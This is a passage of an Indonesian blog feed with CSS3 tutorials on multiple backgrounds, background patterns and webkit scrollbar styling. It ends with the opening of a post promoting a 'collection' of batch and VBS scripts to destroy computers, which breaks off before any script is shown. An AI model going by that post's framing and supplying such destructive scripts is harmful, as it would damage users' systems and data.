Pertama!</span><br />Jika sobat melakukan cara pertama ini, coba sobat perhatikan <span style="font-weight: bold;">Background Property</span> yang terdapat pada <span style=" font-weight: bold;font-family:courier new;" >blockquote</span> diatas tadi. Setelah di lihat mari kita membuat perlahan <span style="font-weight: bold;">CSS3 Multiple Background</span> ini dengan satu satu dari setiap <span style="font-family:courier new;">background property</span> tadi. Pada hasil CSS3 Multiple Background diatas yang <span style="font-weight: bold;">Sapi</span>, <span style="font-weight: bold;">Domba</span>, dan <span style="font-weight: bold;">Rumput</span> tadi bisa dihasilkan sebuat <span style="font-weight: bold;">Script CSS3 seperti</span> berikut :<br /><ol><li><span style="font-family:courier new;">CSS CODE</span> </li><blockquote>#<blink>multiple</blink> {<br />width: 500px;<br />height: 180px;<br /><span style="font-weight: bold;">background-image</span>: url(<span style="color: rgb(255, 0, 0);">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTRB9g481hTZiGHTrKrgYco5Vli0N4r8MwfE2Enr0xkCt5u7nzKMNbISCJ04eB_kGqGkejt8thgKP7QOEWLyaityZuPTMjIWpFjNXKREM48IL2lGuNNeSGWg9tYKVyNgVExgB7RXGewqw/s1600/Sheep.png</span>), url(<span style="color: rgb(255, 204, 51);">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBDteCrUpfvLa1emiUSeeo5Lqv6fcYIzBtTUSTkNt6ceM4K95imfChlBuJxP5HRjyHZv6f42JgM9XvAbcLJRI64YHpf8OX2ah4wvXHtL4SdhmlwmMreznpFcief-sMm2e7PkaTX7XYRY0/s1600/cow.png</span>), url(<span style="color: rgb(51, 204, 0);">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHupeARQwfGky3JUPSTctDye0JEcAmza30HlkQH6PXqYFuaBCFSTzlVkmDugkOkGAcduBqpg2S7fjbmoMtbGtI9nwTvRoDm5skrZzeaZIUFkOWHoMS4UKvwQWtc_nSOz4W_yyZajf3dDc/s1600/grass.png</span>);<br /><span style="font-weight: bold;">background-position</span>: <span style="color: rgb(255, 0, 0);">right top</span>, <span style="color: rgb(255, 204, 51);">left top</span>, center bottom;<br /><span style="font-weight: bold;">background-repeat</span>: no-repeat;<br />border:1px solid #fff;<br />box-shadow:0 0 3px #ccc,inset 0 0 3px #eee;<br />}</blockquote><li><span style="font-family:courier new;">HTML CODE</span><br /><blockquote><div id="<blink>multiple</blink>"></div></blockquote></li><li><span style="font-family:courier new;">KETERANGAN</span><br /><ol><li>Pada kode <span style="font-weight: bold; font-family:courier new;" >Background-image:</span> terdapat kode <span style="font-weight: bold;">3 url</span> yang di batasi dengan <span style="font-family:courier new;">[koma]</span>. Kode tersebut berfungsi untuk menyatukan <span style="font-weight: bold;">3 gambar </span>dengan <span style="font-weight: bold;">URL </span>menjadi <span style="font-weight: bold;">satu</span>. Contoh gambarnya adalah kode <span style="color: rgb(255, 0, 0);">Merah</span>, <span style="color: rgb(255, 204, 51);">Orange</span>, dan <span style="color: rgb(51, 204, 0);">Hijau</span> dengan <span style="font-family:courier new;">http</span> itu.</li><li>Pada kode <span style="font-family:courier new;">background-position:</span> terdapat <span style="font-weight: bold;">3 keterangan tempat</span> yang di batasi dengan <span style="font-family:courier new;">[koma]</span>. Keterangan tempat itu bisa berupa <span style="font-family:courier new;">top/left/bottom/right/ or both</span> seperti yang saya udah jelaskan di <span style="font-weight: bold;">blockquote</span> paling atas itu. Tujuannya adalah mengetahui posisi dari sebuah gambar tersebut.</li><li>Pada kode <span style="font-family:courier new;">No-repeat</span> artinya gambar tersebut mengulang atau tidak. </li></ol></li></ol>Nah artinya dengan cara pertama ini <span style="font-weight: bold;">CSS3 Mutiple </span>ini bisa di buat dengan cara terpisah satu demi satu <span style="font-weight: bold; font-family:courier new;" >CSS Property</span> nya.<br /><br /><span style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;font-size:18px;" >Cara Kedua!</span><br />Dengan cara ini sobat akan menggabungkan kode <span style="font-weight: bold;">property css</span> pada satu helai kalimat saja, yaitu <span style="font-weight: bold;">background</span> saja. Tetapi dalam arti penggabungan <span style="font-weight: bold;">property</span> tidak sembarangan digamungkan begitu saja, tetapi harus dengan berkala atau berurutan.<br /><ol><li style="font-family: courier new;">CSS CODE</li><blockquote>#multiple {<br />width: 500px;<br />height: 180px;<br /><span style="font-weight: bold;">background</span>: url(<span style="color: rgb(255, 0, 0);">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTRB9g481hTZiGHTrKrgYco5Vli0N4r8MwfE2Enr0xkCt5u7nzKMNbISCJ04eB_kGqGkejt8thgKP7QOEWLyaityZuPTMjIWpFjNXKREM48IL2lGuNNeSGWg9tYKVyNgVExgB7RXGewqw/s1600/Sheep.png</span>) <span style="font-weight: bold;">right top</span> <span style="font-weight: bold;">no-repeat</span>, url(<span style="color: rgb(255, 204, 51);">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBDteCrUpfvLa1emiUSeeo5Lqv6fcYIzBtTUSTkNt6ceM4K95imfChlBuJxP5HRjyHZv6f42JgM9XvAbcLJRI64YHpf8OX2ah4wvXHtL4SdhmlwmMreznpFcief-sMm2e7PkaTX7XYRY0/s1600/cow.png</span>) <span style="font-weight: bold;">left top no-repeat</span>, url(<span style="color: rgb(51, 204, 0);">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHupeARQwfGky3JUPSTctDye0JEcAmza30HlkQH6PXqYFuaBCFSTzlVkmDugkOkGAcduBqpg2S7fjbmoMtbGtI9nwTvRoDm5skrZzeaZIUFkOWHoMS4UKvwQWtc_nSOz4W_yyZajf3dDc/s1600/grass.png</span>) <span style="font-weight: bold;">center bottom no-repeat</span>;<br />border:1px solid #fff;<br />box-shadow:0 0 3px #ccc,inset 0 0 3px #eee;<br />}</blockquote><li style="font-family: courier new;">HTML CODE</li><blockquote><div id="multiple"></div><br /></blockquote><li style="font-family: courier new;">KETERANGAN</li>Pada kode <span style="font-weight:bold;"><span style="font-family:courier new;">background:</span> </span>terlihat jelas bahwa <span style="font-weight: bold; font-family:courier new;" >kode property css</span> bergabung di satu helai kalimat <span style="font-weight:bold;">background</span> itu saja dan di batasi dengan spasi dan kode.</ol>Kesimpulannya adalah yaitu tadi pada <span style="font-weight: bold;">css property</span> bergabung dalam satu helai kalimat <span style="font-weight: bold;">background</span> itu saja.<br /><br />Kuras cuman itu saja yang perlu disampaikan dalam postingan kali ini. Kalau ada kata kata yang salah atau sobat punya unek unek lain untuk meralat postingan ini, selahkan berkomentar di blog :). saya akhiri dengan Wassalam :)Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com123tag:blogger.com,1999:blog-6541701603000981262.post-56590314893957530762011-11-01T06:46:00.000-07:002012-01-27T05:04:08.461-08:00Collection CSS3 Background Patterns<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfVC3soTWSfQA4L86EfiTX56Z-ertt3mzjkPQGuA1J7zAWt7uYiK7hwjd4yNFgoivQB61OkB0E1Gs7FD1_LCoeiZWYKqAF_gyb87rCmNUIb7EhyphenhyphenkGOuVn7ZT04emJnWQVNGN2fk0a2aYY/s1600/patterns+with+css3.png"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5670748048717459634" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfVC3soTWSfQA4L86EfiTX56Z-ertt3mzjkPQGuA1J7zAWt7uYiK7hwjd4yNFgoivQB61OkB0E1Gs7FD1_LCoeiZWYKqAF_gyb87rCmNUIb7EhyphenhyphenkGOuVn7ZT04emJnWQVNGN2fk0a2aYY/s400/patterns+with+css3.png" style="cursor: pointer; float: left; height: 106px; margin: 0pt 10px 10px 0pt; width: 106px;" /></a>Setelah Saya posting tentang <a href="http://farixsantips.blogspot.com/2011/10/collection-filebat-vbs-to-destroy.html">Koleksi Script Vbs & Bat</a> / <a href="http://farixsantips.blogspot.com/2010/08/script-to-destroy-your-computer.html">Script to destroy Computer</a>. Ane punya Koleksi lagi nih untuk di jadikan tambahan koleksi sobat di rumah. Koleksi apa sih? Ya, koleksi <b><i>CSS3 Background / Patterns</i></b>. Apasih yang di sebut dengan <b>Patterns</b>?Menurut Pribadi saya <b>Patterns</b> dalam dunia <b>web design</b> adalah motif suatu <i>latar belakang/background</i> dan biasanya motif tersebut berbeda beda warna, bentuk, dan style. Biasanya Patterns identik dengan <b>Repeat</b> (pengulangan gambar secara <i>infinite</i> dengan <i>CSS <b>background-repeat</b></i>) agar motif terlihat banyak.<br />
<div>
<hr />
</div>
<div>
<b>Patterns</b> yang dalam bentuk Gambar bisa diambil di website terkenal <a href="http://www.squidfingers.com/patterns/">www.squidfingers.com</a> atau <a href="http://bgpatterns.com/">bgpatterns.com</a>. Contoh <b>Patterns</b> yang di hasilkan oleh gambar menggunakan <b style="font-style: italic;">background-repeat:repeat-y </b>atau<b style="font-style: italic;"> </b><b style="font-style: italic;">background-repeat:repeat-y</b> ataupun keduanya <b style="font-style: italic;">background:repeat;</b></div>
<br />
<div style="background: url(http://www.backgroundlabs.com/backgrounds/21.jpg) repeat; border: 1px solid #fff; box-shadow: inset 0 0 5px #ccc, 0 0 3px #ccc; color: white; float: left; margin-right: 15px; padding: 10px; width: 50%;">
padding:10px; <b><i>background: url(http://www.squidfingers</i></b><b><i>.com/file/patterns/pattern_148.gif) </i></b><span class="Apple-style-span" style="color: #de0101;">repeat</span>; width:50%; border:1px solid #fff; box-shadow:inset 0 0 5px #ccc, 0 0 3px #ccc;</div>
Kode url <b>background</b> yang seharusnya aslinya kecil, ketika diulang terlihat besar dan banyak. Pengulangan gambar di bantu dengan kode <span style="color: red;">css <span style="font-family: 'courier new'; font-style: italic; font-weight: bold;">repeat</span></span> itu. Kode <span style="font-weight: bold;">Repeat </span>bisa diatur menjadi Mengulang <span style="font-weight: bold;">Horizontal </span>maupun <span style="font-weight: bold;">Vertical</span>. Bisa di lihat Gambar kode Repeat <span style="font-weight: bold;">Horizontal</span> dan <span style="font-weight: bold;">Ver</span><span style="font-weight: bold;">tical</span> dalam <span style="font-weight: bold;">Css</span>.<br />
<br />
Dar<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS7KqPNc_uJz5E8z9ZwtDAXTW2_LE-6aDtl2r3llIWXIYlC6CyP33B9_0U9pmptJrAPPxvqc8heT9ijde1wuAFEWuz49goOrRNr9fmA5al6sf50yIZGs3riXmsG_WNE437vKRzcrF8pQ0/s1600/repeat.png"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5670731303353677218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS7KqPNc_uJz5E8z9ZwtDAXTW2_LE-6aDtl2r3llIWXIYlC6CyP33B9_0U9pmptJrAPPxvqc8heT9ijde1wuAFEWuz49goOrRNr9fmA5al6sf50yIZGs3riXmsG_WNE437vKRzcrF8pQ0/s400/repeat.png" style="cursor: pointer; float: left; height: 114px; margin: 0pt 10px 10px 0pt; width: 126px;" /></a>i keterangan Gambar itu bisa di sebutkan kalau :<br />
<br />
<span style="color: red;">1. </span>Kode <span style="color: red; font-family: 'courier new'; font-weight: bold;">Repeat</span>yang di tambahkan <span style="color: red; font-family: 'courier new'; font-weight: bold;">y</span> berarti kode tersebut mengulang ke bawah atas/<span style="font-weight: bold;">Vertical</span><br />
<span style="color: red;">2. </span>Kode <span style="color: red; font-family: 'courier new'; font-weight: bold;">Repeat</span>yang di tambahkan <span style="color: red; font-family: 'courier new'; font-weight: bold;">x</span> berarti kode tersebut mengulang ke kanan kiri/<span style="font-weight: bold;">Horizontal</span>.<br />
<hr />
<span style="font-weight: bold;">Patterns</span> dalam bentuk <span style="font-weight: bold;">CSS3</span> mungkin akan terlihat unik dan beraneka ragam bentuk <span style="font-weight: bold;">Background</span>nya. Begini, motif background mungkin akan terbentuk bagus <span style="font-weight: bold;">tetapi</span> itu bukan merupakan suatu <span style="font-weight: bold;">Gambar</span> <span style="font-style: italic;">png, gif, jpg, jpeg, bmp, dan lain lain</span>. Melainkan suatu <span style="font-weight: bold;">motif</span> yang benar benar menyatu dengan web.<br />
<br />
<div style="background-color: #ffcc00; border: 1px solid #fff; box-shadow: inset 0 0 5px #ccc, 0 0 3px #ccc; color: white; float: left; margin-right: 15px; padding: 10px; width: 50%;">
padding:10px; <b style="font-style: italic; font-weight: bold;">background-color:</b><span style="font-style: italic; font-weight: bold;">#ffcc00; </span>width:50%; border:1px solid #fff; box-shadow:inset 0 0 5px #ccc, 0 0 3px #ccc;</div>
Contoh kecilnya <span style="font-family: 'courier new'; font-weight: bold;">body{<span style="color: red;">background-color:#ffcc00;</span>}</span> seperti background warna yang aslinya <span style="font-family: 'courier new';">BUKAN GAMBAR</span>. Dalam kata lain<span style="font-weight: bold;"> warna kuning</span> pada box di samping adalah bukan di kategorikan sebagai gambar, melainkan hanya warna.<br />
<br />
Berikut adalah <span style="font-style: italic;">contoh</span> background <span style="font-weight: bold;">patterns</span> dengan karya <span style="font-weight: bold;">CSS3</span> beserta <span style="font-family: 'courier new'; font-weight: bold;">KODE CSS3 PATTERNS</span>-nya<br />
<br />
<a href="http://fqbis-demos.blogspot.com/" target="_blank"></a><br />
<div style="text-align: center;">
<a href="http://fqbis-demos.blogspot.com/"><button class="css3button" name="" type="button" value="">See The Demos Live!</button></a></div>
<style>
button.css3button {transition: all 0.3s;-moz-transition: all 0.3s;-webkit-transition: all 0.3s;-moz-box-shadow: 0px 0px 3px #000;font-family: Arial, Helvetica, sans-serif;font-size: 14px;color: #ffa200;padding: 10px 20px;background: -moz-linear-gradient(top,#ffffff 0%,#ffffff 50%,#d6d6d6);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), color-stop(0.50, #ffffff),to(#d6d6d6));border-radius: 10px;-moz-border-radius: 10px;-webkit-border-radius: 10px;border: 3px solid #ff0000;-moz-box-shadow:0px 1px 3px rgba(000,000,000,0.5), inset 0px 0px 3px rgba(255,255,255,1);-webkit-box-shadow:0px 1px 3px rgba(000,000,000,0.5),inset 0px 0px 3px rgba(255,255,255,1);text-shadow:0px -1px 0px rgba(000,000,000,0.1), 0px 1px 0px rgba(255,255,255,1);}button.css3button:hover {transition: all 0.3s;-moz-transition: all 0.3s;-webkit-transition: all 0.3s;-moz-box-shadow: 0px 0px 3px #000;font-family: Arial, Helvetica, sans-serif;font-size: 14px;color: #ffa200;padding: 10px 20px;background: -moz-linear-gradient(top,#dbdbdb 0%,#ffffff 50%,#ffffff);background: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb),color-stop(0.50, #ffffff),to(#ffffff));border-radius: 10px;-moz-border-radius: 10px;-webkit-border-radius: 10px;border: 3px solid #ff8400;-moz-box-shadow:0px 1px 3px rgba(000,000,000,0.5),inset 0px 0px 3px rgba(255,255,255,1);-webkit-box-shadow:0px 1px 3px rgba(000,000,000,0.5),inset 0px 0px 3px rgba(255,255,255,1);text-shadow:0px -1px 0px rgba(000,000,000,0.1),0px 1px 0px rgba(255,255,255,1);}
</style><br />
Kalau sobat tidak bisa melihat Background Patterns Css3 diatas, kemungkinan <span style="font-weight: bold;">besar</span> <span style="font-style: italic;">browser</span> sobat tidak Support dengan <span style="font-style: italic; font-weight: bold;">CSS3 Gradient</span> ini. Suport Browser: <span style="background-attachment: initial; background-clip: initial; background-color: #de0101; background-image: initial; background-origin: initial; color: white; padding-bottom: 2px; padding-left: 5px; padding-right: 5px; padding-top: 2px; text-shadow: rgb(0, 0, 0) 0px 0px 3px;">Firefox 3.6+, Safari, Chrome</span>. Lagi lagi IE tidak bisa kan? Nah<span style="font-style: italic;"> saya sarankan untuk menggunakan Browser terkenal saat ini dan sering sering Update browser sobat untuk browser bisa mengenali script script baru atau css baru</span>.<br />
<br />
Berikut cara membuat <span style="font-weight: bold;">kotakan seperti</span> itu.<br />
<ol>
<li>Buat kode <span style="font-family: 'courier new';"><div></div></span></li>
<li>pada kode <div> tambahkan kode <span style="font-family: 'courier new';">style="KODE CSS3 PATTERNS"</span></li>
<li>Contohnya seperti ini :<blockquote>
<div style="<span style="color: red; font-weight: bold;">KODE CSS3 PATTERNS</span>"></div></blockquote>
Kode bisa di salin dengan kode yang ada di box berwarna itu.</li>
<li>Edit style box (box-shadow, text-shadow, padding, margin, dan lain lain) seperlunya dan SELESAI.</li>
</ol>
Bagaimana menurut sobat? indah bukan? silahkan jika menemukan kejanggalan, komen saja :)Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com127tag:blogger.com,1999:blog-6541701603000981262.post-84581613247079881982011-10-31T01:30:00.000-07:002011-12-14T23:14:19.623-08:00Edit Scrollbar in -webkit- Browser<style>::-webkit-scrollbar{height:12px;width:12px;background:#fff}::-webkit-scrollbar-track{box-shadow:0 0 3px #777;border-radius:7px}::-webkit-scrollbar-thumb{background-color:#de0101;box-shadow:inset 0px 0px 4px #777;border-radius:7px}</style><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgrDxVvnAPVDfyuYNseFVKmelMaUqarDeLdG815oPtF069RheSMXaZZjN2GGPds8_WwV4c2j4_kgK-XAoe-377ySNpAbt31fuYx1RtmPzzzE-c8tEEKJQ20QPmNzuGPxBfH_IE-JFMdZM/s1600/scrollbar.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 190px; height: 132px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgrDxVvnAPVDfyuYNseFVKmelMaUqarDeLdG815oPtF069RheSMXaZZjN2GGPds8_WwV4c2j4_kgK-XAoe-377ySNpAbt31fuYx1RtmPzzzE-c8tEEKJQ20QPmNzuGPxBfH_IE-JFMdZM/s400/scrollbar.png" alt="" id="BLOGGER_PHOTO_ID_5669586555392809154" border="0" /></a>Halo kembali lagi bersama saya si <a href="http://farixsantips.blogspot.com/">Blog Farixsantips</a> ini. Tema kita pada saat ini adalah <span style="font-weight: bold;">Scrollbar </span>pada browser tertentu yang dapat di <span style="font-weight: bold;">Edit/Ubah Style</span>. Hehehe jauh banget ya dari <span style="font-style: italic;">Koleksi Script vbs dan bat</span> ke <span style="font-weight: bold;">Css</span> :-D<br /><br />Scrollbar kayak apa sih? seperti gambar yang ada disamping kiri itu. Ya benar sekali sobat. <span style="font-weight: bold;">Scrollbar</span> dalam <span style="font-style: italic;">Browser</span> menurut istilah bahasa orang orang (keliling dari blog ke blog) adalah <span style="font-style: italic;">suatu fasilitas dalam browser yang dapat diartikan sebagai alat untuk menggerakan laman/halaman web baik naik dan turun maupun kekanan dan kekiri.</span> Menurut istilah dari <span style="font-weight: bold;">beberapa orang</span> yang memposting tentang tema <span style="font-weight: bold;">Scrollbar</span> saya saring jadi begitu hehe. Dari arti tersebut logikanya adalah semua browser memfasilitaskan dong hihi, ada tidak browser yang tidak ada <span style="font-weight: bold;">Scrollbar</span>nya? Mau jadi apa itu Web Browser haha!<br /><br /><span style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;font-size:16px;">Kembali ke... Laptop</span> <span style="font-size:78%;">[kalo yang gak pake laptop gak apa apa kan? haha]</span><br />Scrollbar yang telah di sediakan <span style="font-style: italic;">Web Browser</span> itu bisa juga dikatakan <span style="font-weight: bold;">Standar</span>. Kenapa Standar? Karna memang default <span style="font-weight: bold;">Scrollbar</span>nya seperti itu,<span style="font-weight: bold;"> abu abu</span> tak bermotif dan tak terhiaskan oleh indahnya.... zzz (<span style="font-size:78%;">tidak jago sastra</span>), wkwk. Oleh karna itu disini ane posting tentang cara mengedit<span style="font-weight: bold;"> Scrollbar</span> yang dari tampilan <span style="font-weight: bold;">Standar</span> atau biasa itu menjadi Indah dengan menggunakan <span style="font-weight: bold;">Css</span>.<br /><br />Setiap <span style="font-weight: bold;">Web Browser</span> memiliki code CSS khusus sendiri-sendiri contohnya :<br /><br /><center><table style="width: 638px; height: 78px; color: rgb(0, 0, 0);" border="1"><tbody><tr><td style="text-align: center;">Mozilla Firefox<br /></td> <td style="text-align: center;">Safari Webkit/Google Chrome<br /></td> <td style="text-align: center;">Opera 10.5<br /></td><td style="text-align: center;">Internet Explorer<br /></td></tr><tr><td style="text-align: center;">-moz-<br /></td><td style="text-align: center;">-webkit-</td><td style="text-align: center;">-0-</td><td style="text-align: center; color: rgb(255, 0, 0);">Tidak ada Kode!<br /></td></tr></tbody></table></center><br />Dari tabel diatas dapat di bedakan kode kode dari Setiap Browser di Css. Lho kenapa Internet Explorer tidak dapat mengolah <span style="font-weight: bold;">Css </span>tertentu? Karna memang takdirnya begitu hahaha. Begini di Tutorial mengedit <span style="font-weight: bold;">Scrollbar</span> ini, sobat <span style="color: rgb(255, 0, 0);">HANYA BISA MENGGUNAKAN DENGAN -WEBKIT-</span> saja yaitu <span style="font-weight: bold;">Google Chrome </span>atau <span style="font-weight: bold;">Safari </span>saja. <span style="font-style: italic;">Bukan Firefox ataupun Opera atau parah lagi Internet Explorer!</span> Jaman sekarang kan orang banyak yang menggunakan <span style="font-weight: bold;">Google Chrome</span> tuh, bisa di manfaatkan nih :D<br /><br /><span style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;font-size:30px;">Contohnya Gmana?</span><br /><br /><div style="overflow:auto; width:ancho; height:100px; width:500px; float:left; margin-right:10px; padding: 10px;">Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Typi non habent claritatem insitam; est usus legentis in iis qui facit eorum claritatem. Investigationes demonstraverunt lectores legere me lius quod ii legunt saepius. Claritas est etiam processus dynamicus, qui sequitur mutationem consuetudium lectorum. Mirum est notare quam littera gothica, quam nunc putamus parum claram, anteposuerit litterarum formas humanitatis per seacula quarta decima et quinta decima. Eodem modo typi, qui nunc nobis videntur parum clari, fiant sollemnes in futurum.<div></div></div>Ingat ya? Gunakan Browser <span style="color: rgb(255, 0, 0);">GOOGLE CHROME</span> atau <span style="color: rgb(255, 0, 0);">SAFARI</span><br /><br /><br /><br /><br /><br /><br /><span style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;font-size:30px;">Bagaimana Cara membuatnya?</span><br /><br /><div>Membuat/Mengedit Scrollbar pada Browser <span style="font-weight: bold;">Google Chrome</span> yaitu dengan menggunakan kode <span style="font-weight: bold; font-style: italic;">-webkit-</span> tadi. Setelah di letakan <span style="font-weight: bold;">Css</span> ajaib itu, <span style="font-weight: bold;">Css</span> akan berjalan ke Semua Widget, Gadget, Halaman, Object yang memiliki <span style="font-weight: bold;">Scrollbar</span>. Lengkapnya ada di bawah ini :<br /><ol><li>Pertama tama buka <span style="font-weight: bold;">blogger.com</span> sahabat dengan <span style="font-weight: bold;">Pass</span> dan ID sahabat.</li><li>Pada di Laman Dashboard klik Layout → Edit HTML → cari kode <span style="color: rgb(255, 0, 0);">]]></b:skin&gt</span></li><li>Selanjutnya letakan <span style="font-weight: bold;">kode CSS </span>berikut tepat diatasnya kode <span style="font-style: italic;">]]></b:skin></span> tadi :<br /><blockquote>::-webkit-<span style="color: rgb(255, 0, 0);">scrollbar</span> {<br />height:12px;<br />width: 12px;<br />background: #fff;<br />}<br />::-webkit-<span style="color: rgb(255, 0, 0);">scrollbar-track</span> {<br />box-shadow: 0 0 3px #777;<br />border-radius: 7px;<br />}<br />::-webkit-<span style="color: rgb(255, 0, 0);">scrollbar-thumb</span> {<br />background-color: #de0101;<br />box-shadow: inset 0px 0px 4px #777;<br />border-radius: 7px;<br />}</blockquote></li><li>Kemudian Save Template!<br /></li></ol><span style="font-style: italic;">Keterangan Kode Css mengenai </span><span style="font-weight: bold; font-style: italic;">Scrollbar</span><br /><br /><blockquote style="float:right; width:620px; margin-left:10px;">::-webkit-scrollbar { /* <span style="color: rgb(255, 0, 0);">Nomor 1</span> */ }<br />::-webkit-scrollbar-button { /* <span style="color: rgb(255, 0, 0);">Nomor 2</span> */ }<br />::-webkit-scrollbar-track { /* <span style="color: rgb(255, 0, 0);">Nomor 3</span> */ }<br />::-webkit-scrollbar-track-piece { /* <span style="color: rgb(255, 0, 0);">Nomor 4</span> */ }<br />::-webkit-scrollbar-thumb { /* <span style="color: rgb(255, 0, 0);">Nomor 5</span> */ }<br />::-webkit-scrollbar-corner { /* <span style="color: rgb(255, 0, 0);">Nomor 6</span> */ }<br />::-webkit-resizer { /* <span style="color: rgb(255, 0, 0);">Nomor 7</span> */ }</blockquote><div style="width:300px;text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBpKo1g9bzpoX3kDEB0XDzRhsoqMPwmSkZ0PxtNvAO0bkZ8x9znaxFWOBqhn0VtHqzxL6REqbNhOMQsw9WBwjVX7HnAvpSHROJiCdkuOjxdBistSzgkkw0gCR5-9wowXPasABoTvQt05g/s1600/scrollbarparts.png"><img style="display: block; text-align: center; cursor: pointer; width: 288px; height: 218px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBpKo1g9bzpoX3kDEB0XDzRhsoqMPwmSkZ0PxtNvAO0bkZ8x9znaxFWOBqhn0VtHqzxL6REqbNhOMQsw9WBwjVX7HnAvpSHROJiCdkuOjxdBistSzgkkw0gCR5-9wowXPasABoTvQt05g/s400/scrollbarparts.png" alt="" id="BLOGGER_PHOTO_ID_5669608811367581730" border="0" /></a><span style="font-size:78%;"><br />sumber gambar : http://cdn.css-tricks.com/wp-content/uploads/2011/05/scrollbarparts.png <span style="color: rgb(255, 0, 0);">KLIK UNTUK MEMPERBESAR</span><br /></span></div><br />Saya rasa keterangan keterangan itu lebih dari cukup. Selanjutnya tinggal sobat saja yang mengedit edit :) hihihi semoga dengan adanya <span style="font-weight: bold;">Scrollbar</span> yang bisa di edit sobat jadi lebih bisa berkreasi hihi.</div>Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com118tag:blogger.com,1999:blog-6541701603000981262.post-56277579156914851832011-10-28T01:44:00.000-07:002011-10-28T04:43:15.352-07:00Collection file.bat & vbs To Destroy the Computer<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNNV0XhViwVPS50_tlVgmED_m46tk-LJnAawmznbfZ2isIDgEaRvIw6Qmln3jPrVlm0-VUxZJSwsZHg6t-mfgifXMDOSlflGvD_Vu6tdwNCXZfcsLK2ib8r4giKlC3XgtnreQpNhKSeoo/s1600/Script.jpg"><img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 163px; height: 163px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNNV0XhViwVPS50_tlVgmED_m46tk-LJnAawmznbfZ2isIDgEaRvIw6Qmln3jPrVlm0-VUxZJSwsZHg6t-mfgifXMDOSlflGvD_Vu6tdwNCXZfcsLK2ib8r4giKlC3XgtnreQpNhKSeoo/s400/Script.jpg" alt="" id="BLOGGER_PHOTO_ID_5668499067867309650" border="0" /></a>Pernahkan sobat terpikir bahwa <span style="font-weight: bold;">script</span> bisa meruntuhkan <span style="font-weight: bold;">Komputer</span> yang begitu perkasa itu? Itu sebuah, <span style="font-weight: bold;">bisa!</span> Semua itu bisa terjadi asalkan ada <span style="font-weight: bold;">niat</span> dan <span style="font-weight: bold;">kemampuan </span>haha. Kerja script script ini adalah menembus program-program komputer dan menggerakannya langsung dari Intinya. Dalam kata lain <span style="font-weight: bold;">Semut Kecil</span> masuk telinga sampai ke <span style="font-weight: bold;">Otak</span> dan seseorang tiba tiba meninggal [cerita sesungguhnya].<br /><br /><span style="font-weight: bold; font-style: italic;"><span style="text-shadow:1px 0 0 #eee,-1px 0 0 #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;font-size:15px;" >Arti VBS</span></span><br /><span style="font-weight: bold;">VBScript</span> atau lengkapnya <span style="font-weight: bold;">Visual Basic Scripting Edition</span> adalah sebuah <span style="font-style: italic;">bahasa skrip</span> yang diinterpretasikan saat dieksekusi yang dikembangkan oleh <span style="font-weight: bold;">Microsoft Corporation</span> pada tahun <span style="font-weight: bold;">1996</span>. VBS ini sering di gunakan oleh penjelajah web <span style="font-weight: bold;">Internet Explorer</span> (dapat digunakan mulai <span style="font-style: italic; font-weight: bold;">versi Internet Explorer 3.0</span>). <span style="font-weight: bold;">VBScript</span> merupakan sebuah <span style="font-style: italic;">bahasa skrip </span>turunan dari bahasa pemrograman<span style="font-weight: bold;"> Visual Basic for Applications</span> (<span style="font-style: italic;">VBA</span>) yang digunakan di Microsoft Office dan beberapa platform pengembangan buatan Microsoft lainnya.<br /><br /><span style="font-weight: bold; font-style: italic;"><span style="text-shadow:1px 0 0 #eee,-1px 0 0 #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;font-size:15px;" >Arti Bat (Batch)</span></span><br /><span style="font-weight: bold;">File batch</span> adalah file teks yang berisi serangkaian perintah yang dimaksudkan untuk dijalankan oleh <span style="font-weight: 